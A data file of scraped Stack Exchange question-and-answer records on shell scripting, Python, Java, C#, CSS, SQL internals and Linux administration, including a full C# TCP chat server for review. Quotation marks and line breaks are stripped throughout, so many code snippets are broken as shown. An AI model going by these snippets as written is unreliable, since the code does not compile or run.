{  "id": "_unix.38390"  , "question": "Is there any way to substitute text in variables on several patterns at time or even using back reference?For example, I have FILE=filename.ext and I want to change it to filename_sometext.ext. But I don't know that file extension is .ext. All I know about it is that extension is after last dot.So I can do it in two steps:EXT=${FILE##*.}FILE=${FILE%.*}_sometext.$EXTCan I do it on one step (something like ${FILE/.\\(*\\)/_sometext.\\1} [that doesn't work])?By the way I need to do it in pure shell without sed/awk/etc. My shell is ksh, but if there is way to do it with bashisms I'd like to know it too."  , "title": "pure shell complex substitution in variable"  , "tags": "bash;shell;ksh;variable substitution"  , "accepted_answer": "Bash Parameter Expansion says that the variable (FILE in your example) must be a parameter name.  So they don't nest.  And the last part of ${param/pattern/replacement} must be a string.  So back references aren't supported.My only advice is to use${EXT:+.$EXT}to avoid adding a trailing dot if the file has no extension.UPDATEApparently back references are supported in ksh93.So you could use something likeFILE=${FILE/@(.*)/_something\\1}"  } 
{  "id": "_unix.127320"  , "question": "Is there a way to monitor all events sent to the libnotify module?I am trying to debug faulty sound notifications from Thunderbird, and I am hoping that if the way Thunderbird links with sounds is faulty, I can at least play my own sound.I am using Ubuntu 12.04 with KDE."  , "title": "Is there a way to monitor all events sent to the libnotify module?"  , "tags": "libnotify"  } 
{  "id": "_codereview.169101"  , "question": "I have this ordered list of datetimes that comprises of 30 minute slots:availability = [    datetime.datetime(2010, 1, 1, 9, 0),     datetime.datetime(2010, 1, 1, 9, 30),    datetime.datetime(2010, 1, 1, 10, 0),     datetime.datetime(2010, 1, 1, 10, 30),     datetime.datetime(2010, 1, 1, 13, 0), # gap    datetime.datetime(2010, 1, 1, 13, 30),     datetime.datetime(2010, 1, 1, 15, 30), # gap    datetime.datetime(2010, 1, 1, 16, 0),     datetime.datetime(2010, 1, 1, 16, 30)]And I would to split the ones with time gaps in between into a dictionary with start and end values, like so:[    {'start': datetime.datetime(2010, 1, 1, 9, 0), 'end': datetime.datetime(2010, 1, 1, 10, 30)},    {'start': datetime.datetime(2010, 1, 1, 13, 0), 'end': datetime.datetime(2010, 1, 1, 13, 30)},             {'start': datetime.datetime(2010, 1, 1, 15, 30), 'end': datetime.datetime(2010, 1, 1, 16, 30)}]So I threw this snippet of code together that does exactly that.result = []row = {}for index, date in enumerate(available):    exists = False    if not row:        row['start'] = date    try:        if date + timedelta(minutes = 30) != available[index + 1]:            exists = True    except IndexError:        exists = True    if exists:        row['end'] = date        result.append(row)        row = {}But needless to say this is super ugly and there just has to be a better, shorter and more elegant way to do this."  , "title": "Splitting up a list with datetimes"  , "tags": "python;python 2.7;datetime"  , "accepted_answer": "It is possible to utilize itertools.groupby() using indexes to calculate if there is a gap:import datetimefrom datetime import timedeltafrom functools import partialfrom itertools import groupbyfrom operator import itemgetterdef is_consecutive(start_date, item):    A grouping key function that highlights the gaps in a list of datetimes with a 30 minute interval.    index, value = item    return (start_date + index * timedelta(minutes=30)) - valueavailable = [    datetime.datetime(2010, 1, 1, 9, 0),    datetime.datetime(2010, 1, 1, 9, 30),    datetime.datetime(2010, 1, 1, 10, 0),    datetime.datetime(2010, 1, 1, 10, 30),    datetime.datetime(2010, 1, 1, 13, 0),  # gap    datetime.datetime(2010, 1, 1, 13, 30),    datetime.datetime(2010, 1, 1, 15, 30),  # gap    datetime.datetime(2010, 1, 1, 16, 0),    datetime.datetime(2010, 1, 1, 16, 30)]start_date = available[0]result = []for _, group in groupby(enumerate(available), key=partial(is_consecutive, start_date)):    current_range = list(map(itemgetter(1), group))    result.append({        'start': current_range[0],        'end': current_range[-1]    })print(result)Prints:[    {'start': datetime.datetime(2010, 1, 1, 9, 0), 'end': datetime.datetime(2010, 1, 1, 10, 30)},     {'start': datetime.datetime(2010, 1, 1, 13, 0), 'end': datetime.datetime(2010, 1, 1, 13, 30)},     {'start': datetime.datetime(2010, 1, 1, 15, 30), 'end': datetime.datetime(2010, 1, 1, 16, 30)}]"  } 
{  "id": "_webapps.91855"  , "question": "I often accidentally hit the Esc key when preparing emails on OWA, resulting in my draft mail disappearing into the ether. Is there any way to disable this behaviour. I'm using Chrome on Windows 8."  , "title": "Disable Escape to discard mail with Outlook Web Access"  , "tags": "outlook web access"  } 
{  "id": "_cstheory.18015"  , "question": "I am working on Normal form continuous games. I am not very familiar with dynamic game theory. I would like to know if there is any relation between static Nash equilibria and dynamic equilibria. If players play a certain game repeatedly or learn about the strategies of the players or if they follow certain dynamics, will they always converge to static Nash equilibria? Is there any result between set of static Nash equilibria and dynamic equlibria (under some conditions)? Thanks in advance!"  , "title": "Relation between static Nash equlibria and dynamic equlibria"  , "tags": "gt.game theory;dynamic algorithms"  } 
{  "id": "_codereview.56175"  , "question": "I have a huge list of song objects in my program and I need those objects in almost all activities. Well, at least a part of it up to everything.So I created a class which looks pretty much like this :class DataStore {   private static ArrayList<Song> songList;   private static ArrayList<Album> albumList;   private DataStore()   {   }   //getters and setters for the private variables above   public void getSongList() { ... }   ...}So this DataStore has a lot of private variables and getters / setters to access them. I call these functions like this :ArrayList<Song> songList = DataStore.getSongList();Now I am wondering, is that a good approach? Should I do anything different to create global variables I can use in every activity?Also, I saw a few questions about Singletons. Is this a Singleton class?"  , "title": "Android global data"  , "tags": "java;android;singleton"  , "accepted_answer": "I have a huge list of song objects in my program and I need those objects in almost all activities.Your description is an excellent fit for Content Providers.http://developer.android.com/guide/topics/providers/content-providers.htmlImplementing a content provider for your songs might seem like a lot of work at first, but it will be worth the investment. It's the clean and recommended approach, and you'll benefit from it greatly. As an added bonus, other applications will be able to use your song database too. Go for it.About the singleton pattern, read this:http://en.wikipedia.org/wiki/Singleton_patternAnd avoid using singletons as much as possible."  } 
{  "id": "_codereview.29489"  , "question": "if ((key == null && group.Key == null) || (key is DBNull && group.Key is DBNull) ||                    (!(key is IComparable) && !(group.Key is IComparable)))Can the above code simplified like below,if(key == group.key || (!(key is IComparable) && !(group.Key is IComparable)))"  , "title": "IComparable comparision"  , "tags": "c#"  , "accepted_answer": "No, not unless you restrict what values the variables can have, or what type they are declared as.If for example key is an int with the value 4 and group.Key is an int with the value 4, the first code gives false while the second code gives true."  } 
{  "id": "_codereview.92442"  , "question": "CreateInputParameter is an overloaded function with 6 type overloads,         is it possible to simplify the following code or is this as good as it gets?I wish to call it like this : CreateInputParameter( string , object ) like following code :private void AddInputParameter(string description, object value)    {        Type type = value.GetType();        if (type == typeof(int))        {            CreateInputParameter(description, (int)(value));            return;        }        if (type == typeof(decimal))        {            CreateInputParameter(description, (decimal)(value));            return;        }        if (type == typeof(DateTime?))        {            CreateInputParameter(description, (DateTime?)(value));            return;        }        if (type == typeof(bool))        {            CreateInputParameter(description, (bool)(value));            return;        }        if (type == typeof(byte[]))        {            CreateInputParameter(description, (byte[])(value));            return;        }        if (type == typeof(Guid))        {            CreateInputParameter(description, (Guid)(value));            return;        }    }"  , "title": "Generically calling an overloaded method"  , "tags": "c#"  , "accepted_answer": "At first glance:Value shouldn't be capitalized, since it's a parameter.The parameter is called description, yet your code uses Description.Why does each if contain a return;? Why not simply do else if? Also, can an object even be two different types at once?Is this really actual, working code?Also, you're not showing us CreateInputParameter; I wouldn't be surprised if it doesn't need to be an overloaded function with 6 type overloads. I also would expect a method called Create to return something, but that's open for debate.You could look into System.Convert and use that to convert the object to a value, but again: this depends on CreateInputParameter. I'd advise you to submit a new question and include those methods, and provide us with more background."  } 
{  "id": "_unix.305848"  , "question": "On an older router, I was using this command:iptables -t mangle -I PREROUTING -i br0 -s 192.168.157.0/24 -j MARK --set-mark 7That router died (red led of death), and now I'm forced to try to recreate an implementation I didn't quite understand even when I got it working the first time. Anyway, the error message it produces is so:iptables: No chain/target/match by that name.If I leave everything off of if after -j, then this command will execute successfully (though does little to accomplish my goals). That suggests to me that both PREROUTING and mangle are available. I remember vaguely that packet marking might be its own kernel module, but I'm not even able to determine what its name would be, were that the case.What do I need to do to debug this? I'm not sure where to start with this one. Is something not compiled into the kernel that should be? The kernel version appears to be 2.6.22.19.I have other iptables commands that are failing similarly, though I expect that the explanation for this one command will shed light on the others."  , "title": "What is wrong with this particular iptables command?"  , "tags": "iptables;router;netfilter"  } 
{  "id": "_softwareengineering.314738"  , "question": "In the book Database Fundamentals, Silberschatz. It is explained that aggregate functions can be calculated on the march.This make sense. What it means is that for calculating the maximun, average or count the items in a set, you don't need to pass a copy of the set to the aggregate procedures, you only process each record meanwhile you transverse the set.One naive implementation could be to keep a variable for each aggregate desired. For example, a SELECT sum(a_field), count(a_field), max(a_field) FROM a_set could be implemented as:sum_ = 0count_ = 0max_ = -INFfor record in a_set:    sum_ = sum_ + record.a_field    count_ = count_ + 1    max_ = max(max_, record.a_field)return (sum_, count_, max_)Of course, this is unthinkable as the loop over the set should not be so tied to the aggregate computation. I suppose the loop delegates the aggregation to a kind of coroutine.Supposing a coroutine is a kind of object with two methods:feed: where you can pass a value to the coroutineget: which gives you the result of a computationThe loop would be something like:# Given a set C of aggregation coroutinesfor record in a_set:    for c in C:        c.feed(record.a_field)return (c.get() for c in C)In this case, I imagine a coroutine like max as:max_ = -INFwhile item = consume():    max_ = max(max_, item)yield max_Here, I'm supposing that when the coroutine invokes consume it waits until somebody calls it's feed method. And when it calls yield, that value is collected later by the one who invokes it's get method.Just for fun, let's implement the sum:sum_ = 0while item = consume():    sum_ = sum_ + itemyield sum_So, this is broadly what I imagine is happening behind the scenes, but I can't be sure, so:How is this process actually implemented in the most of SQL engines?.What would happen with an aggregation which requires two or more transverses on the dataset, as the standard deviation?.Note: The pseudo is a kind of pseudo Python."  , "title": "How is one or more aggregate function implemented in most SQL engines?"  , "tags": "database;sql;database development;big data;etl"  } 
{  "id": "_softwareengineering.306563"  , "question": "When Instant was introduced with JSR-310, convenience methods were added to perform conversion between Date and Instant:Date input = new Date();Instant instant = input.toInstant();Date output = Date.from(instant);I wonder why it was chosen to be this way instead of, let's say, having Date output = instant.toDate(). My guess is that it was intended to avoid making Instant dependent on Date. Is this right?But to me it is somehow strange that you make the new class independent of the already existing one, and make the old one dependent on the newly introduce one. Is this made so because of an expected deprecation of Date or is there any other reason?"  , "title": "Why was conversion between Instant and Date named the way it was?"  , "tags": "java;api design"  , "accepted_answer": "Problems with Date:It is a mutable objectIt is not thread-safecost of using it in a thread-safe manner (synchronized) is expensiveInstant on the other hand is designed to be thread-safe and immutable. Making the object Immutable is by itself already a simple and inexpensive way of guaranteeing thread-safety. The Javadoc for Instant states:Implementation Requirements:  This class is immutable and thread-safe.Now if you want to do something like Instant t = Instant.from(new Date()), that means the implementers of the API would have to introduce synchronization to guarantee the thread-safe access of the Date object.I suspect that they wanted to simply have a clean break with the old ways, and avoid introducing any explicit synchronized methods. Introducing synchronized methods would have suggested that it is ok to use them. While it might be useful to have, it would be setting a bad precedent.Instead they have chosen to keep the conversion of Date to Instant within the Date API, which does not document any thread-safety. Safe assumption would be that it is up to the user to synchronize access to the Date Object first if required to do so."  } 
{  "id": "_webapps.39787"  , "question": "The obvious way is to just copy and paste. However, the HTML has stylesheets like.auto-style9 {    background-image: url('http://domainname.com/backgroundTall.png');    background-repeat:no-repeat;}That is a background image of one of the table. If I see the HTML in Firefox I can see the background image.If I copy it to Gmail or Outlook, the background is gone.So how can I do it? Actually, how can I send HTML email in general? How do corporations do that?"  , "title": "How to send HTML email via Gmail including the background CSS"  , "tags": "gmail;html"  } 
{  "id": "_unix.346838"  , "question": "I have two scripts:foo.sh:#!/bin/bashecho -e one\\ntwo |while read line; do    cat not-existing    echo hello $linedonebar.sh:#!/bin/bashecho -e one\\ntwo |while read line; do    ssh user@machine 'cat not-existing' # Here is the only difference    echo hello $linedoneAnd now I run them$ ./foo.sh cat: not-existing: No such file or directoryhello onecat: not-existing: No such file or directoryhello two$ ./bar.sh cat: not-existing: No such file or directoryhello oneThe output of bar.sh is surprising to me. I would expect it to be the same for both scripts.Why does the output of foo.sh and bar.sh differ? Is it a bug or a feature?NoteThe following works as I expect, i.e. the output of this is the same as the output of foo.sh:#!/bin/bashfor line in `echo -e one\\ntwo`; do    ssh user@machine 'cat not-existing'    echo hello $linedoneWhy?"  , "title": "Unexpected behaviour of a shell script"  , "tags": "bash;shell script;ssh;stdin"  , "accepted_answer": "In bar.sh, the two is consumed by ssh.  In the last example, the full output from echo is used by for before it starts looping.To avoid having ssh gobble up your data from standard input, use ssh -n.  This will hook up the standard input of ssh with /dev/null rather than with the standard input of the while loop.This will do what you expect it to do:#!/bin/bashecho -e one\\ntwo |while read line; do    ssh -n user@machine 'cat not-existing' # Here is the only difference    echo hello $linedoneIf you had written#!/bin/bashecho -e one\\ntwo |while read line; do    ssh user@machine 'cat'    echo hello $linedonethen the cat on the remote machine would have outputted two since its standard input is handed down to it from ssh which in turn got it from the loop and echo. It will print two rather than one since the first line of input already has been consumed by read."  } 
{  "id": "_unix.248842"  , "question": "Absolute noob here, I'm loving every last bit of Linux but I'm still at the very first steps. And apparently tonight I managed to work out my first royal screw up, most of all I really hope answers wont be what I fear.Long story short, while learning bash scripting etc, I erroneously ran chmod  -R 770 /bin (please don't ask why, this is already quite embarrassing as is).The issue that made me realize the horrible mistake was a denied permission running /bin/bash when logging in as user (resulting in a closed SSH connection), and after trying many other solutions found googling, I checked .bash_history to find out the comic mistake.Anyways, is there any way at all to get permissions back to defaults for folder and files? (other than reinstalling the os)I have a backup of the whole SD (I'm on a headless RasPi running Minibian) not older than 3 days, but I'm not quite sure rolling back the previous version would actually change any permission. Are these details stored in the folder itself, or in some sort of a registry?Also. Why is it that, despite being the permissions rwx on the user as well as the root, the scripts aren't executed?"  , "title": "/bin (and sub) default permissions"  , "tags": "permissions;system recovery"  } 
{  "id": "_unix.378373"  , "question": "I want to create a dummy, virtual output on my Xorg server on current Intel iGPU (on Ubuntu 16.04.2 HWE, with Xorg server version 1.18.4). It is the similiar to Linux Mint 18.2, which one of the xrandr output shows the following:Screen 0: minimum 8 x 8, current 1920 x 1080, maximum 32767 x 32767...eDP1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 0mm x 0mm...VIRTUAL1 disconnected (normal left inverted right x axis y axis)...In the Linux Mint 18.2, I can turn off the built-in display (eDP1) and turn on the VIRTUAL1 display with any arbitrary mode supported by the X server, attach x11vnc to my main display and I'll get a GPU accelerated remote desktop.But in Ubuntu 16.04.2, that's not the case. The VIRTUAL* display doesn't exist at all from xrandr. Also, FYI, xrandr's output names is a little bit different on Ubuntu 16.04.2, where every number is prefixed with a -. E.g. eDP1 in Linux Mint becomes eDP-1 in Ubuntu, HDMI1 becomes HDMI-1, and so on.So, how to add the virtual output in Xorg/xrandr?And how come Linux Mint 18.2 and Ubuntu 16.04.2 (which I believe uses the exact same Xorg server, since LM 18.2 is based on Ubuntu, right?) can have a very different xrandr configurations?Using xserver-xorg-video-dummy is not an option, because the virtual output won't be accelerated by GPU."  , "title": "Add VIRTUAL output to Xorg"  , "tags": "x11;xorg;xrandr;opengl;virtual desktop"  } 
{  "id": "_softwareengineering.105294"  , "question": "Is there a valid reason for the browsers to prefix new CSS features, instead of letting the webmasters use the non-prefixed version?For example, a sample code for the background gradient looks like:#arbitrary-stops {  /* fallback DIY*/  /* Safari 4-5, Chrome 1-9 */  background: -webkit-gradient(linear, left top, right top, from(#2F2727), color-stop(0.05, #1a82f7), color-stop(0.5, #2F2727), color-stop(0.95, #1a82f7), to(#2F2727));  /* Safari 5.1+, Chrome 10+ */  background: -webkit-linear-gradient(left, #2F2727, #1a82f7 5%, #2F2727, #1a82f7 95%, #2F2727);  /* Firefox 3.6+ */  background: -moz-linear-gradient(left, #2F2727, #1a82f7 5%, #2F2727, #1a82f7 95%, #2F2727);  /* IE 10 */  background: -ms-linear-gradient(left, #2F2727, #1a82f7 5%, #2F2727, #1a82f7 95%, #2F2727);  /* Opera 11.10+ */  background: -o-linear-gradient(left, #2F2727, #1a82f7 5%, #2F2727, #1a82f7 95%, #2F2727);}What's the point in forcing webmasters to copy-paste the same code four times to have the same result?Note: one of the reasons often quoted is that prefixed styles are intended to be temporary while either the browser does not implement the spec correctly, or the spec is not definitive.IMO, this reason is a nonsense:If the browser engine does not implement the spec correctly, the browser will not be compliant, no matter if it does not implement it in a non-prefixed form or it does not implement it in a prefixed form.If the spec is not definitive, it may matter when there were previous implementations with the same name. For example if CSS2 had linear-gradient, but CSS3 was intended to extend linear-gradient with additional features, it would be clever to temporary prefix the new, draft, implementation by -css3-<style> differentiate between the working CSS2 one, and the experimental CSS3 one. In practice, CSS2 doesn't have linear-gradient or other CSS3 novelties.I would also understand if different browsers had different implementation formats: for example let's say Firefox required, for text shadow, <weight-of-shadow distance-x distance-y color>, while Chrome required <distance-x distance-y weight-of-shadow color>. But actually, this is not the case; at least all new features of CSS3 I've used so far had the same format."  , "title": "What is the reason to put prefixes in new CSS features?"  , "tags": "web development;css;browser compatibility"  , "accepted_answer": "According to this W3C note:To avoid clashes with future CSS features, the CSS2.1 specification  reserves a prefixed syntax for proprietary and experimental extensions  to CSS. Prior to a specification reaching the Candidate Recommendation stage  in the W3C process, all implementations of a CSS feature are  considered experimental. The CSS Working Group recommends that  implementations use a vendor-prefixed syntax for such features,  including those in W3C Working Drafts. This avoids incompatibilities  with future changes in the draft.You can follow up the state of the CSS here and here."  } 
{  "id": "_softwareengineering.73611"  , "question": "I'm pretty new to code review, and I feel often overwhelmed by incoming changes.I mean when there are serious code changes, coming from several developers I tend to accept everything without reviewing the whole, especially when I have lots of stuff to finish up.What are the techniques to help in being efficient in this area ? "  , "title": "How to avoid being overwhelmed when doing code review?"  , "tags": "code reviews"  , "accepted_answer": "Plan code review for the first thing in the morning before you do any of your other projects. If you have several developers passing their code to you, then it will likely take you a few hours. It helps if the developer is there explaining why he did something the way he did. You should try to dedicate the time to the code review. If you are feeling overwhelmed, then you should go to your manager and tell him you need to lighten your workload because you can't handle it. Don't feel pressure to finish other projects because you are being overloaded."  } 
{  "id": "_codereview.110246"  , "question": "Below is the code for user recommendations using mahout.DataModel dm = new FileDataModel(new File(inputFile));UserSimilarity sim = new LogLikelihoodSimilarity(dm);UserNeighborhood neighborhood = new NearestNUserNeighborhood(100, sim,        dm);GenericUserBasedRecommender recommender = new GenericUserBasedRecommender(        dm, neighborhood, sim);After the recommendations are generated, I am trying to write it to a file like this:FileWriter writer = new FileWriter(outputFile);for (LongPrimitiveIterator userIterator = dm.getItemIDs(); userIterator.hasNext();) {long user = (long) userIterator.next();List<RecommendedItem> recs = recommender.recommend(user, numOfRec );    for (RecommendedItem item : recs) {        writer.write(user + , + item.getItemID() + ,                + item.getValue()+\\n);    }}writer.close();This code to write to file is taking lot of time. How can I speed up the write operations?I tried with BufferedWriter, but was unable to gain speed-up."  , "title": "File-write operations"  , "tags": "java;performance;machine learning"  , "accepted_answer": "You can gain some efficiency by wrapping the writer in a BufferedWriter.If you are using java 7 or better you should use try-with-resources to auto close the writer, otherwise you should use a try-finally:try(BufferedWriter writer = new BufferedWriter(new FileWriter(outputFile))){    //the for loops}with try-finally:BufferedWriter writer = new BufferedWriter(new FileWriter(outputFile));try{    //the for loops}finally{    writer.close();}This ensures that the writer is closed should an exception occur.Second appending Strings for output is not the most performant thing that should be done instead pass each string separately:writer.write(user);writer.write(,);writer.write(item.getItemID());writer.write(,);writer.write(item.getValue()writer.newLine();//only available in BufferedWriterAs a more general suggestion there is a better method than reading the entire file doing some processing and then writing the output. Instead you can read only as far as you need to process a part of the data and then write the result out again. Whether you can depends on what you are actually doing with the data. This is only possible if you have a 1-pass transform. "  } 
{  "id": "_codereview.85787"  , "question": "I've been building a simple C# server-client chat-style app as a test of my C#. I've picked up code from a few tutorials, and extended what's there to come up with my own server spec.In this post (the second will be the client), I'd like to get some feedback on the server. To me, the code seems bulky and as if it could be brought down by some judicious use of functions or a utility class (I've spotted a doubled-up function (SendToClient) that I guess I could just make public to save on LOC, but what else is there?)1 - Program.csusing System;using System.Collections.Generic;using System.Linq;using System.Text;namespace MessengerServer{    class Program    {        static void Main(string[] args)        {            int port = 1100;            if (args.Length == 2 && args[0] == --port)            {                try                {                    port = Int32.Parse(args[1]);                }                catch (Exception e)                {                    Output.Log(Not a valid port number. Defaulting to 1100., LogType.Error);                }            }            Output.Log(Starting server on port  + port, LogType.Info);            new Server(port);        }    }}2 - Server.csusing System;using System.Collections.Generic;using System.Net;using System.Net.Sockets;using System.Threading;using System.Text;namespace MessengerServer{    class Server    {        private TcpListener tcpListener;        private Thread listenThread;        private ASCIIEncoding encoder = new ASCIIEncoding();        public Dictionary<DateTime, string> Messages = new Dictionary<DateTime, string>();        private List<string> MessagesAfter(string time)        {            List<string> matches = new List<string>();            DateTime sinceTime = DateTime.Parse(time);            foreach (KeyValuePair<DateTime, string> pair in Messages)            {                if (pair.Key.CompareTo(sinceTime) > 0)                {                    matches.Add(pair.Value);                }            }            return matches;        }        private List<TcpClient> connectedClients = new List<TcpClient>();        public Server(int port)        {            Output.Log(Starting server: all network interfaces, port  + port, LogType.Info);            this.tcpListener = new TcpListener(IPAddress.Any, port);            this.listenThread = new Thread(new ThreadStart(ListenForClients));            this.listenThread.Start();        }        private void ListenForClients()        {            Output.Log(Listener thread spawned, LogType.Info);            this.tcpListener.Start();            Output.Log(TCP listener started, ready to accept clients., LogType.Info);            while (true)            {                TcpClient client = this.tcpListener.AcceptTcpClient();                Output.Log(Client connected, starting thread..., LogType.Info);                Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientComms));                clientThread.Start(client);                connectedClients.Add((TcpClient) client);            }        }        private void HandleClientComms(object client)        {            int clientId = new Random().Next(0, int.MaxValue - 1);            TcpClient tcpClient = (TcpClient) client;            NetworkStream clientStream = tcpClient.GetStream();            Output.Log(Communication thread started with client at  + tcpClient.Client.RemoteEndPoint.ToString(), LogType.Info);            Output.Log(Client identifier is  + clientId, LogType.Info);            SendToClient(tcpClient, clientId.ToString());            byte[] message = new byte[4096];            int bytesRead;            string data = ;            while (true)            {                bytesRead = 0;                data = ;                try                {                    bytesRead = clientStream.Read(message, 0, 4096);                    Output.Log(Read  + bytesRead +  bytes from  + clientId, LogType.Info);                }                catch(Exception e)                {                    Output.Log(Could not read from client:  + e.Message, LogType.Error);                    if (e.GetType() == Type.GetType(System.IO.IOException))                    {                        connectedClients.Remove(tcpClient);                        Thread.CurrentThread.Abort();                    }                    break;                }                if (bytesRead == 0)                {                    Output.Log(Client  + clientId +  disconnected, LogType.Info);                    connectedClients.Remove(tcpClient);                    Thread.CurrentThread.Abort();                    break;                }                string received = encoder.GetString(message, 0, bytesRead);                data += received;                Output.Log(Message:  + received, LogType.Info);                try                {                    HandleMessage(tcpClient, clientId, data);                }                catch (ThreadAbortException tae)                {                    Output.Log(Client thread disconnect complete:  + tae.Message, LogType.Info);                }                catch (Exception e)                {                    Output.Log(Could not handle message:  + e.Message, LogType.Warn);                }            }        }        public void SendToClient(TcpClient client, string message)        {            try            {                NetworkStream stream = client.GetStream();                byte[] msg = new byte[message.Length];                msg = encoder.GetBytes(message);                stream.Write(msg, 0, message.Length);                stream.Flush();                Output.Log(Sent to client:  + message, LogType.Info);            }            catch (Exception e)            {                Output.Log(Unexpected exception sending:  + e.Message, LogType.Error);            }        }        private void HandleMessage(TcpClient client, int clientId, string message)        {            Output.Log(Attempting to handle message  + message, LogType.Info);            if (message.StartsWith([AllSince]))            {                try                {                    string date = message.Split(']')[1];                    List<string> messages = MessagesAfter(date);                    string data = ;                    foreach (string msg in messages)                    {                        data += msg + |&|;                    }                    SendToClient(client, data);                }                catch (IndexOutOfRangeException e)                {                    SendToClient(client, [200]);                    throw new Exception(No date was found for [AllSince]:  + e.Message);                }                catch (FormatException e)                {                    SendToClient(client, [201]);                    throw new Exception(Date was not formatted correctly:  + e.Message);                }                catch (Exception e)                {                    SendToClient(client, [100]);                    throw new Exception(Unexpected exception:  + e.Message);                }            }            else if (message.StartsWith([Send]))            {                try                {                    string text = message.Split(']')[1];                    Messages.Add(DateTime.Now, < + clientId + > + text);                    Output.Log(Added to message list:  + text, LogType.Info);                    NotifyAllClients(< + clientId + > + text);                    SendToClient(client, [600]);                }                catch (Exception e)                {                    SendToClient(client, [300]);                    throw new Exception(No message could be found for [Send]:  + e.Message);                }            }            else if (message.StartsWith([Disconnect]))            {                Output.Log(Client  + clientId + 's client thread disconnected, LogType.Warn);                connectedClients.Remove(client);                Thread.CurrentThread.Abort();            }            else if (message.StartsWith([Command]))            {                string command = message.Substring(9);                Commands.HandleCommand(client, command);            }            else            {                SendToClient(client, [400]);                throw new Exception(No handling protocol specified.);            }        }        public void NotifyAllClients(string message)        {            Output.Log(Notifying all clients of message  + message, LogType.Info);            foreach (TcpClient client in connectedClients)            {                Output.Log(Notify: client  + client.Client.RemoteEndPoint.ToString(), LogType.Info);                SendToClient(client, [Message] + message);            }        }    }}3 - Commands.csusing System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Net;using System.Net.Sockets;namespace MessengerServer{    class Commands    {        public static void HandleCommand(TcpClient client, string command)        {            string[] args = command.Split(' ');            switch (args[0].ToLower().Trim())            {                case force:                    if (args.Length == 2)                    {                        SendToClient(client, [ + args[1] + ]);                    }                    else                    {                        SendToClient(client, [CommandInvalid]);                    }                    break;                default:                    SendToClient(client, [CommandInvalid]);                    break;            }        }        public static void SendToClient(TcpClient client, string message)        {            try            {                NetworkStream stream = client.GetStream();                byte[] msg = new byte[message.Length];                msg = Encoding.ASCII.GetBytes(message);                stream.Write(msg, 0, message.Length);                stream.Flush();                Output.Log(Sent to client:  + message, LogType.Info);            }            catch (Exception e)            {                Output.Log(Unexpected exception sending:  + e.Message, LogType.Error);            }        }    }}The other class, Output (in Output.cs) is one I'm happy with - I use it widely and it's pretty solid, so I've decided not to put it up for review.Note: I've also got XML documentation comments in my code, but have excluded them here for succinctness."  , "title": "C# Chat - Part 1: Server"  , "tags": "c#;server"  , "accepted_answer": "I would start with looking at the private methods. Looks like we have quite a few of them. Based on the work it's doing my first stab would be to extract them as their own classes and expose the methods as public methods used by the server. This way you can actually add unit tests around your classes.e.g. I would take HandleClientComms() as my first candidate to be extracted out. Once we have it out the other private methods that are called by `HandleClientComms() would be something that I would consider as the next candidates to be their own classes. public interface IHandleClientCommunications{    void Handle(TcpClient client);}The Server Class that has the method below would look something like below :private void ListenForClients()    {        //Output.Log(Listener thread spawned, EntityConstants.LogType.Info);        this.tcpListener.Start();        //Output.Log(TCP listener started, ready to accept clients., EntityConstants.LogType.Info);        while (true)        {            TcpClient client = this.tcpListener.AcceptTcpClient();            Thread clientThread = new Thread(o => _handleClientCommunications.Handle(client));            clientThread.Start(client);            connectedClients.Add((TcpClient)client);        }    }Once you do this you will see that a lot of your private methods move out of the Server class as they are not needed there. They will be moved under the new class that we introduced above. This is ok.Next thing to look at it is to Extract HandleMessage() (I smell Strategy Pattern once its extracted. I can see we have quite a few if...else where we do different algorithms based on a certain criteria. This is a good candidate to refactor)Extract out NotifyAllClients()(This should take care of Client and Clients).Extract out RemoveClient().Note as you start extracting out things you want to ensure that you are adding tests.Usually I stick with the Single ResponsibilityDependency Inversion principle Ability to write unit tests for the piece of software.as my yardstick to decide if a certain object needs to be broken down or not. This guideline helps to me to avoid the urge of over- or under-engineering a certain piece of software.There are a lot of good books out there that have helped me immensely to grow as a software Engineer. I list a few below:http://martinfowler.com/books/refactoring.htmlhttp://www.amazon.com/Working-Effectively-Legacy-Michael-Feathers/dp/0131177052"  } 
{  "id": "_webapps.51362"  , "question": "I want to reindex a page using Google Custom Search.  Google Webmaster Tools says I manage the site.  In Google Custom Search, I go to Specific URLs under Index Now.  I add a URL or two and click Index Now.  It always says Invalid url to index.  Is there some trick to this, like some special formatting I have to do with the URLs?Anyone gotten this to work?"  , "title": "Invalid url to index in Google Custom Search"  , "tags": "google custom search"  } 
{  "id": "_cs.21935"  , "question": "I'm struggling a bit to understand two of the problems we were given in class. Could someone look over my work and maybe give me a few hints?State whether the following languages are regular or not and prove your answer.$$\\{0^n1^m \\mid m \\geq 0 \\text{ and } n = 2m+1\\}$$$$\\{0^a1^b0^c \\mid 0 \\leq a \\leq b \\leq c \\leq 100\\}$$The first one appears to me as non-regular as $m$ is not finite. Then to prove that it is not regular, I used the pumping lemma method with $0^P1^\\frac{P-1}{2}$ as the string. For the second language, I'm not really sure if it is regular or not. I can't come up with a DFA/NFA/RegExp for it nor can I figure out how to apply the pumping lemma method to it. Is it safe to use $0^P1^P0^P$ as the string and say that if $Y$ where $Y = 0^k, 1 \\leq k \\leq P$ is appears more than once (i.e. $XYYZ$), the resulting string is not in the language and thus the language is not regular?Edit: I'm sorry if this question seems elementary. I've already read through most of the posts pertaining to this topic and some things were unclear to me. I was asking for someone to look over my work and make sure I followed the correct procedures. For instance, I'm still confused on the second question. The pumping lemma I used makes it seem like it is not regular but at the same time it is finite. Does that mean I used pumping lemma incorrectly? In what way did I use it incorrectly?"  , "title": "Proving a language is regular or non-regular"  , "tags": "regular languages;pumping lemma"  } 
{  "id": "_unix.202309"  , "question": "In a GNU/Linux bash shell, I am using a command to identify and save all my user defined variables at a specific point in time for debugging purposes (I source the file later):declare | grep '^[[:lower:]]' | grep -v '^colors' | sort > ${output_dir}/env_variables.tmpI am aware that this is bad practice as I am programming by coincidence, trusting that all system variables (except colors) will begin with an upper case letter -- I would like to come up with a better way.I have also considered saving a version of my current env variables before running the script, and then simply differencing the env variables in the child shell with it. This seems as hack-ish as my current attempt, so I was wondering if is there a way to filter variables by date or user defined, or any other criteria to identify those that are newly created by a certain child shell?"  , "title": "Identify user defined variables"  , "tags": "bash;environment variables;variable"  , "accepted_answer": "No, there's no way to filter variables by date or who owned it. You COULD set all existing variables to read-only and then later you use declare -p to filter those out. But a more common way to solve this is to prefix all your vairables with __project_ (where project is whatever). The variables get lengthy, but that seems to be the safest way. Your idea of saving the variables on startup isn't a bad one at all. 